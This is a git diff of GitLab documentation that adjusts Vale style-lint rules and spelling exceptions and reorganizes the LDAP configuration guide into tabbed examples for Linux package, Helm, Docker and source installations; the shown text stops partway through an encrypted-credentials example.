a/doc/.vale/gitlab/SentenceLength.yml +++ b/doc/.vale/gitlab/SentenceLength.yml @@ -1,5 +1,5 @@ --- -# Warning: gitlab.SentenceLength +# Suggestion: gitlab.SentenceLength # # Counts words in a sentence and alerts if a sentence exceeds 25 words. # @@ -8,6 +8,6 @@ extends: occurrence message: "Improve readability by using fewer than 25 words in this sentence." scope: sentence link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#language -level: warning +level: suggestion max: 25 token: \b(\w+)\b diff --git a/doc/.vale/gitlab/Spelling.yml b/doc/.vale/gitlab/Spelling.yml index 92c5cb13b29..74d919831ac 100644 --- a/doc/.vale/gitlab/Spelling.yml +++ b/doc/.vale/gitlab/Spelling.yml @@ -10,7 +10,7 @@ # # For a list of all options, see https://vale.sh/docs/topics/styles/ extends: spelling -message: "Check the spelling of '%s'. If the spelling is correct, add this word to the spelling exception list." +message: "Check the spelling of '%s'. If the spelling is correct, ask a Technical Writer to add this word to the spelling exception list." level: warning ignore: - gitlab/spelling-exceptions.txt diff --git a/doc/.vale/gitlab/SubstitutionWarning.yml b/doc/.vale/gitlab/SubstitutionWarning.yml index 383ae38da16..8f3d3330271 100644 --- a/doc/.vale/gitlab/SubstitutionWarning.yml +++ b/doc/.vale/gitlab/SubstitutionWarning.yml @@ -26,10 +26,10 @@ swap: ex: "for example" file name: "filename" filesystem: "file system" - GLFM: "GitLab Flavored Markdown" - GFM: "GitLab Flavored Markdown' or 'GitHub Flavored Markdown" info: "information" it is recommended: "you should" + logged in user: "authenticated user" + logged-in user: "authenticated user" n/a: "not applicable" navigate to: "go to" OAuth2: "OAuth 2.0" @@ -37,6 +37,8 @@ swap: once the: "after the" once you: "after you" repo: "repository" + signed in user: "authenticated user" + signed-in user: "authenticated user" since: "because' or 'after" sub-group: "subgroup" sub-groups: "subgroups" diff --git a/doc/.vale/gitlab/TabsLinks.yml b/doc/.vale/gitlab/TabsLinks.yml new file mode 100644 index 00000000000..97f75046fca --- /dev/null +++ b/doc/.vale/gitlab/TabsLinks.yml @@ -0,0 +1,13 @@ +--- +# Error: gitlab.TabsLinks +# +# Checks for the presence of links to individual GitLab UI tabs. +# +# For a list of all options, see https://vale.sh/docs/topics/styles/ +extends: existence +message: "Do not include tabs query parameters in links." +link: https://docs.gitlab.com/ee/development/documentation/styleguide/index.html#tabs +level: error +scope: raw +raw: + - '\[[^\]]+\]\(.*?\.md\?tab=.*?\)' diff --git a/doc/.vale/gitlab/Uppercase.yml b/doc/.vale/gitlab/Uppercase.yml index 039ad7c5f03..19e0fec6622 100644 --- a/doc/.vale/gitlab/Uppercase.yml +++ b/doc/.vale/gitlab/Uppercase.yml @@ -1,13 +1,13 @@ --- -# Warning: gitlab.Uppercase +# Suggestion: gitlab.Uppercase # # Checks for use of all uppercase letters with unknown reason. # # For a list of all options, see https://vale.sh/docs/topics/styles/ extends: conditional -message: "Instead of uppercase for '%s', use lowercase or backticks (`) if possible. Otherwise, add this word or acronym to the rule's exception list." +message: "Instead of uppercase for '%s', use lowercase or backticks (`) if possible. Otherwise, ask a Technical Writer to add this word or acronym to the rule's exception list." link: https://docs.gitlab.com/ee/development/documentation/testing.html#vale-uppercase-acronym-test -level: warning +level: suggestion ignorecase: false # Ensures that the existence of 'first' implies the existence of 'second'. first: '\b([A-Z]{3,5})\b' @@ -47,10 +47,10 @@ exceptions: - CSS - CSV - CTE - - CWE - CVE - CVS - CVSS + - CWE - DAG - DAST - DDL @@ -148,6 +148,7 @@ exceptions: - NTP - OCI - OKD + - OKR - ONLY - OSS - OTP diff --git a/doc/.vale/gitlab/spelling-exceptions.txt b/doc/.vale/gitlab/spelling-exceptions.txt index 81b21f026f4..5403b80141e 100644 --- a/doc/.vale/gitlab/spelling-exceptions.txt +++ b/doc/.vale/gitlab/spelling-exceptions.txt @@ -377,6 +377,7 @@ Getter Getters gettext GIDs +gists Git Gitaly Gitea @@ -547,8 +548,8 @@ Mattermost mbox memoization memoize -memoizes memoized +memoizes memoizing Memorystore mergeability @@ -589,8 +590,8 @@ mutex nameserver nameservers namespace -namespaced namespace's +namespaced namespaces namespacing namespacings @@ -620,6 +621,7 @@ offboarding offboards OIDs OKRs +OKRs Okta OmniAuth onboarding @@ -639,12 +641,12 @@ Packwerk paginator parallelization parallelizations +parsable PascalCase PascalCased passthrough passthroughs passwordless -parsable Patroni PDFs performant @@ -827,8 +829,8 @@ Salesforce sandboxing sanitization SBOMs -SBT sbt +SBT scalers scatterplot scatterplots diff --git a/doc/administration/audit_event_streaming.md b/doc/administration/audit_event_streaming.md index 4d0e6518ebb..92ccbe8b1a6 100644 --- a/doc/administration/audit_event_streaming.md +++ b/doc/administration/audit_event_streaming.md @@ -373,7 +373,7 @@ Streamed audit events have a predictable schema in the body of the response. > - [Added `details.author_class` field](https://gitlab.com/gitlab-org/gitlab/-/issues/363876) in GitLab 15.3. > - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/101583) in GitLab 15.6. Feature flag `audit_event_streaming_git_operations` removed. -Streaming audit events can be sent when signed-in users push, pull, or clone a project's remote Git repositories: +Streaming audit events can be sent when authenticated users push, pull, or clone a project's remote Git repositories: - [Using SSH](../user/ssh.md). - Using HTTP or HTTPS. diff --git a/doc/administration/audit_events.md b/doc/administration/audit_events.md index 1951ab5e2c7..30e6ca44972 100644 --- a/doc/administration/audit_events.md +++ b/doc/administration/audit_events.md @@ -200,7 +200,7 @@ The following actions on groups generate group audit events: [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/353452) in GitLab 14.9. - Failed attempt to create a group deploy token. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/353452) in GitLab 14.9. -- [IP restrictions](../user/group/access_and_permissions.md#restrict-access-to-groups-by-ip-address) changed. +- [IP restrictions](../user/group/access_and_permissions.md#restrict-group-access-by-ip-address) changed. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/358986) in GitLab 15.0. - Changes to push rules. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/227629) in GitLab 15.0. - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/356152) in GitLab 15.1, changes to the following merge diff --git a/doc/administration/auditor_users.md b/doc/administration/auditor_users.md index a047e7c1f0b..38c3a089756 100644 --- a/doc/administration/auditor_users.md +++ b/doc/administration/auditor_users.md @@ -55,6 +55,7 @@ If you are signed in with auditor access, you: you can push commits or comment on issues. - Can access the same resources using the GitLab UI or API. - Can't view the Admin Area, or perform any administration actions. +- Can't view job logs when [debug logging](../ci/variables/index.md#enable-debug-logging) is enabled. ## Maintain auditor users using API diff --git a/doc/administration/auth/ldap/google_secure_ldap.md b/doc/administration/auth/ldap/google_secure_ldap.md index 01197fdacdf..e0612099221 100644 --- a/doc/administration/auth/ldap/google_secure_ldap.md +++ b/doc/administration/auth/ldap/google_secure_ldap.md @@ -24,33 +24,33 @@ The steps below cover: 1. Go to **Apps > LDAP > Add Client**. -1. Provide an `LDAP client name` and an optional `Description`. Any descriptive - values are acceptable. For example, the name could be 'GitLab' and the - description could be 'GitLab LDAP Client'. Select the **Continue** button. +1. Provide an **LDAP client name** and an optional **Description**. Any descriptive + values are acceptable. For example, the name could be `GitLab` and the + description could be `GitLab LDAP Client`. Select **Continue**. ![Add LDAP Client Step 1](img/google_secure_ldap_add_step_1.png) 1. Set **Access Permission** according to your needs. You must choose either - 'Entire domain (GitLab)' or 'Selected organizational units' for both 'Verify user - credentials' and 'Read user information'. Select 'Add LDAP Client' + `Entire domain (GitLab)` or `Selected organizational units` for both **Verify user + credentials** and **Read user information**. Select **Add LDAP Client**. NOTE: If you plan to use GitLab [LDAP Group Sync](ldap_synchronization.md#group-sync) - , turn on 'Read group information'. + , turn on `Read group information`. ![Add LDAP Client Step 2](img/google_secure_ldap_add_step_2.png) 1. Download the generated certificate. This is required for GitLab to communicate with the Google Secure LDAP service. Save the downloaded certificates - for later use. After downloading, select the **Continue to Client Details** button. + for later use. After downloading, select **Continue to Client Details**. -1. Expand the **Service Status** section and turn the LDAP client 'ON for everyone'. - After selecting 'Save', select the 'Service Status' bar again to collapse +1. Expand the **Service Status** section and turn the LDAP client `ON for everyone`. + After selecting **Save**, select the **Service Status** bar again to collapse and return to the rest of the settings. -1. Expand the **Authentication** section and choose 'Generate New Credentials'. - Copy/note these credentials for later use. After selecting 'Close', select - the 'Authentication' bar again to collapse and return to the rest of the settings. +1. Expand the **Authentication** section and choose **Generate New Credentials**. + Copy/note these credentials for later use. After selecting **Close**, select + the **Authentication** bar again to collapse and return to the rest of the settings. Now the Google Secure LDAP Client configuration is finished. The screenshot below shows an example of the final settings. Continue on to configure GitLab. diff --git a/doc/administration/auth/ldap/index.md b/doc/administration/auth/ldap/index.md index 2cb9bac7af9..43d13b8ea32 100644 --- a/doc/administration/auth/ldap/index.md +++ b/doc/administration/auth/ldap/index.md @@ -69,93 +69,137 @@ You should only use LDAP integration if your LDAP users cannot: ## Configure LDAP -To configure LDAP integration, add your LDAP server settings in: +LDAP users must have a set email address, regardless of whether or not it's used +to sign in. -- `/etc/gitlab/gitlab.rb` for Omnibus GitLab instances. -- `/home/git/gitlab/config/gitlab.yml` for source install instances. +Here's an example of setting up LDAP with only the required options. -After configuring LDAP, to test the configuration, use the -[LDAP check Rake task](../../raketasks/ldap.md#check). +::Tabs -NOTE: -The `encryption` value `simple_tls` corresponds to 'Simple TLS' in the LDAP -library. `start_tls` corresponds to StartTLS, not to be confused with regular TLS. -Normally, if you specify `simple_tls` it is on port 636, while `start_tls` (StartTLS) -would be on port 389. `plain` also operates on port 389. Removed values: `tls` was replaced -with `start_tls` and `ssl` was replaced with `simple_tls`. +:::TabTitle Linux package (Omnibus) -LDAP users must have a set email address, regardless of whether or not it's used -to sign in. +1. Edit `/etc/gitlab/gitlab.rb`: -### Example Linux package (Omnibus) configuration - -This example shows a sample configuration for a GitLab instance that -was installed by using the Linux package (Omnibus): - -```ruby -gitlab_rails['ldap_enabled'] = true -gitlab_rails['prevent_ldap_sign_in'] = false -gitlab_rails['ldap_servers'] = { - 'main' => { - 'label' => 'LDAP', - 'host' => 'ldap.mydomain.com', - 'port' => 636, - 'uid' => 'sAMAccountName', - 'encryption' => 'simple_tls', - 'verify_certificates' => true, - 'bind_dn' => '_the_full_dn_of_the_user_you_will_bind_with', - 'password' => '_the_password_of_the_bind_user', - 'tls_options' => { - 'ca_file' => '', - 'ssl_version' => '', - 'ciphers' => '', - 'cert' => '', - 'key' => '' - }, - 'timeout' => 10, - 'active_directory' => true, - 'allow_username_or_email_login' => false, - 'block_auto_created_users' => false, - 'base' => 'dc=example,dc=com', - 'user_filter' => '', - 'attributes' => { - 'username' => ['uid', 'userid', 'sAMAccountName'], - 'email' => ['mail', 'email', 'userPrincipalName'], - 'name' => 'cn', - 'first_name' => 'givenName', - 'last_name' => 'sn' - }, - 'lowercase_usernames' => false, - - # EE Only - 'group_base' => '', - 'admin_group' => '', - 'external_groups' => [], - 'sync_ssh_keys' => false - } -} -``` + ```ruby + gitlab_rails['ldap_enabled'] = true + gitlab_rails['ldap_servers'] = { + 'main' => { + 'label' => 'LDAP', + 'host' => 'ldap.mydomain.com', + 'port' => 636, + 'uid' => 'sAMAccountName', + 'encryption' => 'simple_tls', + 'base' => 'dc=example,dc=com', + } + } + ``` + +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` -### Example Helm chart (Kubernetes) configuration +:::TabTitle Helm chart (Kubernetes) -View [how to configure LDAP for a GitLab instance that was installed by using the Helm chart](https://docs.gitlab.com/charts/charts/globals.html#ldap). +1. Export the Helm values: -### Example self-compiled (source) configuration + ```shell + helm get values gitlab > gitlab_values.yaml + ``` -This example shows a sample configuration for a GitLab instance that -was installed by using the self-compiled source: +1. Edit `gitlab_values.yaml`: -```yaml -production: - # snip... - ldap: - enabled: false - prevent_ldap_sign_in: false - servers: - main: - label: 'LDAP' - ... -``` + ```yaml + global: + appConfig: + ldap: + servers: + main: + label: 'LDAP' + host: 'ldap.mydomain.com' + port: 636 + uid: 'sAMAccountName' + base: 'dc=example,dc=com' + encryption: 'simple_tls' + ``` + +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +For more information, see +[how to configure LDAP for a GitLab instance that was installed by using the Helm chart](https://docs.gitlab.com/charts/charts/globals.html#ldap). + +:::TabTitle Docker + +1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + image: 'gitlab/gitlab-ee:latest' + restart: always + hostname: 'gitlab.example.com' + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['ldap_enabled'] = true + gitlab_rails['ldap_servers'] = { + 'main' => { + 'label' => 'LDAP', + 'host' => 'ldap.mydomain.com', + 'port' => 636, + 'uid' => 'sAMAccountName', + 'encryption' => 'simple_tls', + 'base' => 'dc=example,dc=com', + } + } + ``` + +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. Edit `/home/git/gitlab/config/gitlab.yml`: + + ```yaml + production: &base + ldap: + enabled: true + servers: + main: + label: 'LDAP' + host: 'ldap.mydomain.com' + port: 636 + uid: 'sAMAccountName' + encryption: 'simple_tls' + base: 'dc=example,dc=com' + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +For more information about the various LDAP options, see the `ldap` setting in +[`gitlab.yml.example`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example). + +::EndTabs + +After configuring LDAP, to test the configuration, use the +[LDAP check Rake task](../../raketasks/ldap.md#check). ### Basic configuration settings @@ -178,24 +222,17 @@ These configuration settings are available: | `uid` | The LDAP attribute that maps to the username that users use to sign in. Should be the attribute, not the value that maps to the `uid`. Does not affect the GitLab username (see [attributes section](#attribute-configuration-settings)). | **{check-circle}** Yes | `'sAMAccountName'` or `'uid'` or `'userPrincipalName'` | | `bind_dn` | The full DN of the user you bind with. | **{dotted-circle}** No | `'america\momo'` or `'CN=Gitlab,OU=Users,DC=domain,DC=com'` | | `password` | The password of the bind user. | **{dotted-circle}** No | `'your_great_password'` | -| `encryption` | Encryption method. The `method` key is deprecated in favor of `encryption`. | **{check-circle}** Yes | `'start_tls'` or `'simple_tls'` or `'plain'` | +| `encryption` | Encryption method. The `method` key is deprecated in favor of `encryption`. | **{check-circle}** Yes | `'start_tls'`, `'simple_tls'`, or `'plain'`. `simple_tls` corresponds to 'Simple TLS' in the LDAP library. `start_tls` corresponds to StartTLS, not to be confused with regular TLS. If you specify `simple_tls`, usually it's on port 636, while `start_tls` (StartTLS) would be on port 389. `plain` also operates on port 389. | | `verify_certificates` | Enables SSL certificate verification if encryption method is `start_tls` or `simple_tls`. If set to false, no validation of the LDAP server's SSL certificate is performed. Defaults to true. | **{dotted-circle}** No | boolean | | `timeout` | Set a timeout, in seconds, for LDAP queries. This helps avoid blocking a request if the LDAP server becomes unresponsive. A value of `0` means there is no timeout. (default: `10`) | **{dotted-circle}** No | `10` or `30` | | `active_directory` | This setting specifies if LDAP server is Active Directory LDAP server. For non-AD servers it skips the AD specific queries. If your LDAP server is not AD, set this to false. | **{dotted-circle}** No | boolean | | `allow_username_or_email_login` | If enabled, GitLab ignores everything after the first `@` in the LDAP username submitted by the user on sign-in. If you are using `uid: 'userPrincipalName'` on ActiveDirectory you must disable this setting, because the userPrincipalName contains an `@`. | **{dotted-circle}** No | boolean | | `block_auto_created_users` | To maintain tight control over the number of billable users on your GitLab installation, enable this setting to keep new users blocked until they have been cleared by an administrator (default: false). | **{dotted-circle}** No | boolean | | `base` | Base where we can search for users. | **{check-circle}** Yes | `'ou=people,dc=gitlab,dc=example'` or `'DC=mydomain,DC=com'` | -| `user_filter` | Filter LDAP users. Format: [RFC 4515](https://www.rfc-editor.org/rfc/rfc4515.html) Note: GitLab does not support `omniauth-ldap`'s custom filter syntax. | **{dotted-circle}** No | For examples, read [Examples of user filters](#examples-of-user-filters). | +| `user_filter` | Filter LDAP users. Format: [RFC 4515](https://www.rfc-editor.org/rfc/rfc4515.html) Note: GitLab does not support `omniauth-ldap`'s custom filter syntax. | **{dotted-circle}** No | Some examples of the `user_filter` field syntax:

- `'(employeeType=developer)'`
- `'(&(objectclass=user)(|(samaccountname=momo)(samaccountname=toto)))'` | | `lowercase_usernames` | If enabled, GitLab converts the name to lower case. | **{dotted-circle}** No | boolean | | `retry_empty_result_with_codes` | An array of LDAP query response code that attempt to retry the operation if the result/content is empty. For Google Secure LDAP, set this value to `[80]`. | **{dotted-circle}** No | `[80]` | -#### Examples of user filters - -Some examples of the `user_filter` field syntax: - -- `'(employeeType=developer)'` -- `'(&(objectclass=user)(|(samaccountname=momo)(samaccountname=toto)))'` - ### SSL configuration settings These SSL configuration settings are available: @@ -247,35 +284,193 @@ If you have users on multiple LDAP servers, you can configure GitLab to use them alphanumeric characters. GitLab uses the provider ID to associate each user with a specific LDAP server. - For each entry, use a unique `label` value. These values are used for the tab names on the sign-in page. -#### Example of multiple LDAP servers - -The following example shows how to configure three LDAP servers in `gitlab.rb`: - -```ruby -gitlab_rails['ldap_enabled'] = true -gitlab_rails['ldap_servers'] = { - 'main' => { - 'label' => 'GitLab AD', - 'host' => 'ad.example.org', - 'port' => 636, - ... - }, - - 'secondary' => { - 'label' => 'GitLab Secondary AD', - 'host' => 'ad-secondary.example.net', - 'port' => 636, - ... - }, - - 'tertiary' => { - 'label' => 'GitLab Tertiary AD', - 'host' => 'ad-tertiary.example.net', - 'port' => 636, - ... - } -} -``` +The following example shows how to configure three LDAP servers with +minimal configuration: + +::Tabs + +:::TabTitle Linux package (Omnibus) + +1. Edit `/etc/gitlab/gitlab.rb`: + + ```ruby + gitlab_rails['ldap_enabled'] = true + gitlab_rails['ldap_servers'] = { + 'main' => { + 'label' => 'GitLab AD', + 'host' => 'ad.mydomain.com', + 'port' => 636, + 'uid' => 'sAMAccountName', + 'encryption' => 'simple_tls', + 'base' => 'dc=example,dc=com', + }, + + 'secondary' => { + 'label' => 'GitLab Secondary AD', + 'host' => 'ad-secondary.mydomain.com', + 'port' => 636, + 'uid' => 'sAMAccountName', + 'encryption' => 'simple_tls', + 'base' => 'dc=example,dc=com', + }, + + 'tertiary' => { + 'label' => 'GitLab Tertiary AD', + 'host' => 'ad-tertiary.mydomain.com', + 'port' => 636, + 'uid' => 'sAMAccountName', + 'encryption' => 'simple_tls', + 'base' => 'dc=example,dc=com', + } + } + ``` + +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) + +1. Export the Helm values: + + ```shell + helm get values gitlab > gitlab_values.yaml + ``` + +1. Edit `gitlab_values.yaml`: + + ```yaml + global: + appConfig: + ldap: + servers: + main: + label: 'GitLab AD' + host: 'ad.mydomain.com' + port: 636 + uid: 'sAMAccountName' + base: 'dc=example,dc=com' + encryption: 'simple_tls' + secondary: + label: 'GitLab Secondary AD' + host: 'ad-secondary.mydomain.com' + port: 636 + uid: 'sAMAccountName' + base: 'dc=example,dc=com' + encryption: 'simple_tls' + tertiary: + label: 'GitLab Tertiary AD' + host: 'ad-tertiary.mydomain.com' + port: 636 + uid: 'sAMAccountName' + base: 'dc=example,dc=com' + encryption: 'simple_tls' + ``` + +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +:::TabTitle Docker + +1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + image: 'gitlab/gitlab-ee:latest' + restart: always + hostname: 'gitlab.example.com' + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['ldap_enabled'] = true + gitlab_rails['ldap_servers'] = { + 'main' => { + 'label' => 'GitLab AD', + 'host' => 'ad.mydomain.com', + 'port' => 636, + 'uid' => 'sAMAccountName', + 'encryption' => 'simple_tls', + 'base' => 'dc=example,dc=com', + }, + + 'secondary' => { + 'label' => 'GitLab Secondary AD', + 'host' => 'ad-secondary.mydomain.com', + 'port' => 636, + 'uid' => 'sAMAccountName', + 'encryption' => 'simple_tls', + 'base' => 'dc=example,dc=com', + }, + + 'tertiary' => { + 'label' => 'GitLab Tertiary AD', + 'host' => 'ad-tertiary.mydomain.com', + 'port' => 636, + 'uid' => 'sAMAccountName', + 'encryption' => 'simple_tls', + 'base' => 'dc=example,dc=com', + } + } + ``` + +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. Edit `/home/git/gitlab/config/gitlab.yml`: + + ```yaml + production: &base + ldap: + enabled: true + servers: + main: + label: 'GitLab AD' + host: 'ad.mydomain.com' + port: 636 + uid: 'sAMAccountName' + base: 'dc=example,dc=com' + encryption: 'simple_tls' + secondary: + label: 'GitLab Secondary AD' + host: 'ad-secondary.mydomain.com' + port: 636 + uid: 'sAMAccountName' + base: 'dc=example,dc=com' + encryption: 'simple_tls' + tertiary: + label: 'GitLab Tertiary AD' + host: 'ad-tertiary.mydomain.com' + port: 636 + uid: 'sAMAccountName' + base: 'dc=example,dc=com' + encryption: 'simple_tls' + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +For more information about the various LDAP options, see the `ldap` setting in +[`gitlab.yml.example`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example). + +::EndTabs This example results in a sign-in page with the following tabs: @@ -289,27 +484,100 @@ To limit all GitLab access to a subset of the LDAP users on your LDAP server, fi configured `base`. However, to further filter users if necessary, you can set up an LDAP user filter. The filter must comply with [RFC 4515](https://www.rfc-editor.org/rfc/rfc4515.html). -- Example user filter for Omnibus GitLab instances: +::Tabs - ```ruby - gitlab_rails['ldap_servers'] = { - 'main' => { - # snip... - 'user_filter' => '(employeeType=developer)' - } - } - ``` +:::TabTitle Linux package (Omnibus) -- Example user filter for source install instances: +1. Edit `/etc/gitlab/gitlab.rb`: - ```yaml - production: - ldap: - servers: - main: - # snip... - user_filter: '(employeeType=developer)' - ``` + ```ruby + gitlab_rails['ldap_servers'] = { + 'main' => { + 'user_filter' => '(employeeType=developer)' + } + } + ``` + +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) + +1. Export the Helm values: + + ```shell + helm get values gitlab > gitlab_values.yaml + ``` + +1. Edit `gitlab_values.yaml`: + + ```yaml + global: + appConfig: + ldap: + servers: + main: + user_filter: '(employeeType=developer)' + ``` + +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +:::TabTitle Docker + +1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + image: 'gitlab/gitlab-ee:latest' + restart: always + hostname: 'gitlab.example.com' + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['ldap_servers'] = { + 'main' => { + 'user_filter' => '(employeeType=developer)' + } + } + ``` + +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. Edit `/home/git/gitlab/config/gitlab.yml`: + + ```yaml + production: &base + ldap: + servers: + main: + user_filter: '(employeeType=developer)' + ``` + +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +::EndTabs To limit access to the nested members of an Active Directory group, use the following syntax: @@ -325,7 +593,7 @@ Support for nested members in the user filter shouldn't be confused with GitLab does not support the custom filter syntax used by OmniAuth LDAP. -#### Escape special characters +#### Escape special characters in `user_filter` The `user_filter` DN can contain special characters. For example: @@ -338,11 +606,11 @@ The `user_filter` DN can contain special characters. For example: - Open and close brackets: ```plaintext - OU=Gitlab (Inc),DC=gitlab,DC=com + OU=GitLab (Inc),DC=gitlab,DC=com ``` - These characters must be escaped as documented in - [RFC 4515](https://www.rfc-editor.org/rfc/rfc4515.html). +These characters must be escaped as documented in +[RFC 4515](https://www.rfc-editor.org/rfc/rfc4515.html#section-4). - Escape commas with `\2C`. For example: @@ -353,12 +621,12 @@ The `user_filter` DN can contain special characters. For example: - Escape open brackets with `\28` and close brackets with `\29`. For example: ```plaintext - OU=Gitlab \28Inc\29,DC=gitlab,DC=com + OU=GitLab \28Inc\29,DC=gitlab,DC=com ``` ### Enable LDAP username lowercase -Some LDAP servers, depending on their configurations, can return uppercase usernames. +Some LDAP servers, depending on their configuration, can return uppercase usernames. This can lead to several confusing issues such as creating links or namespaces with uppercase names. GitLab can automatically lowercase usernames provided by the LDAP server by enabling @@ -373,13 +641,67 @@ the configuration option `lowercase_usernames`. By default, this configuration o ```ruby gitlab_rails['ldap_servers'] = { 'main' => { - # snip... 'lowercase_usernames' => true } } ``` -1. [Reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) + +1. Export the Helm values: + + ```shell + helm get values gitlab > gitlab_values.yaml + ``` + +1. Edit `gitlab_values.yaml`: + + ```yaml + global: + appConfig: + ldap: + servers: + main: + lowercase_usernames: true + ``` + +1. Save the file and apply the new values: + + ```shell + helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab + ``` + +:::TabTitle Docker + +1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + image: 'gitlab/gitlab-ee:latest' + restart: always + hostname: 'gitlab.example.com' + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['ldap_servers'] = { + 'main' => { + 'lowercase_usernames' => true + } + } + ``` + +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` :::TabTitle Self-compiled (source) @@ -390,11 +712,18 @@ the configuration option `lowercase_usernames`. By default, this configuration o ldap: servers: main: - # snip... lowercase_usernames: true ``` -1. [Restart GitLab](../../restart_gitlab.md#installations-from-source) for the changes to take effect. +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` ::EndTabs @@ -418,7 +747,11 @@ This does not disable using LDAP credentials for Git access. gitlab_rails['prevent_ldap_sign_in'] = true ``` -1. [Reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` :::TabTitle Helm chart (Kubernetes) @@ -443,6 +776,28 @@ This does not disable using LDAP credentials for Git access. helm upgrade -f gitlab_values.yaml gitlab gitlab/gitlab ``` +:::TabTitle Docker + +1. Edit `docker-compose.yml`: + + ```yaml + version: "3.6" + services: + gitlab: + image: 'gitlab/gitlab-ee:latest' + restart: always + hostname: 'gitlab.example.com' + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['prevent_ldap_sign_in'] = true + ``` + +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + :::TabTitle Self-compiled (source) 1. Edit `config/gitlab.yaml`: @@ -453,41 +808,46 @@ This does not disable using LDAP credentials for Git access. prevent_ldap_sign_in: true ``` -1. [Restart GitLab](../../restart_gitlab.md#installations-from-source) for the changes to take effect. +1. Save the file and restart GitLab: + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` ::EndTabs ### Use encrypted credentials Instead of having the LDAP integration credentials stored in plaintext in the configuration files, you can optionally -use an encrypted file for the LDAP credentials. To use this feature, first you must enable -[GitLab encrypted configuration](../../encrypted_configuration.md). +use an encrypted file for the LDAP credentials. -The encrypted configuration for LDAP exists in an encrypted YAML file. By default the file is created at -`shared/encrypted_configuration/ldap.yaml.enc`. This location is configurable in the GitLab configuration. +Prerequisites: -The unencrypted contents of the file should be a subset of the secret settings from your `servers` block in the LDAP -configuration. +- To use encrypted credentials, you must first enable the + [encrypted configuration](../../encrypted_configuration.md). + +The encrypted configuration for LDAP exists in an encrypted YAML file. The +unencrypted contents of the file should be a subset of the secret settings from +your `servers` block in the LDAP configuration. The supported configuration items for the encrypted file are: - `bind_dn` - `password` -The encrypted contents can be configured with the [LDAP secret edit Rake command](../../raketasks/ldap.md#edit-secret). - ::Tabs :::TabTitle Linux package (Omnibus) -If initially your LDAP configuration looked like: - -1. In `/etc/gitlab/gitlab.rb`: +1. If initially your LDAP configuration in `/etc/gitlab/gitlab.rb` looked like: ```ruby gitlab_rails['ldap_servers'] = { 'main' => { - # snip... 'bind_dn' => 'admin', 'password' => '123' } @@ -500,7 +860,7 @@ If initially your LDAP configuration looked like: sudo gitlab-rake gitlab:ldap:secret:edit EDITOR=vim ``` -1. The unencrypted contents of the LDAP secret should be entered like: +1. Enter the unencrypted contents of the LDAP secret: ```yaml main: @@ -509,21 +869,69 @@ If initially your LDAP configuration looked like: ``` 1. Edit `/etc/gitlab/gitlab.rb` and remove the settings for `bind_dn` and `password`. +1. Save the file and reconfigure GitLab: -1. [Reconfigure GitLab](../../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. + ```shell + sudo gitlab-ctl reconfigure + ``` -:::TabTitle Self-compiled (source) +:::TabTitle Helm chart (Kubernetes) + +Use a Kubernetes secret to store the LDAP password. For more information, +read about [Helm LDAP secrets](https://docs.gitlab.com/charts/installation/secrets.html#ldap-password). -If initially your LDAP configuration looked like: +:::TabTitle Docker -1. In `config/gitlab.yaml`: +1. If initially your LDAP configuration in `docker-compose.yml` looked like: + + ```yaml + version: "3.6" + services: + gitlab: + image: 'gitlab/gitlab-ee:latest' + restart: always + 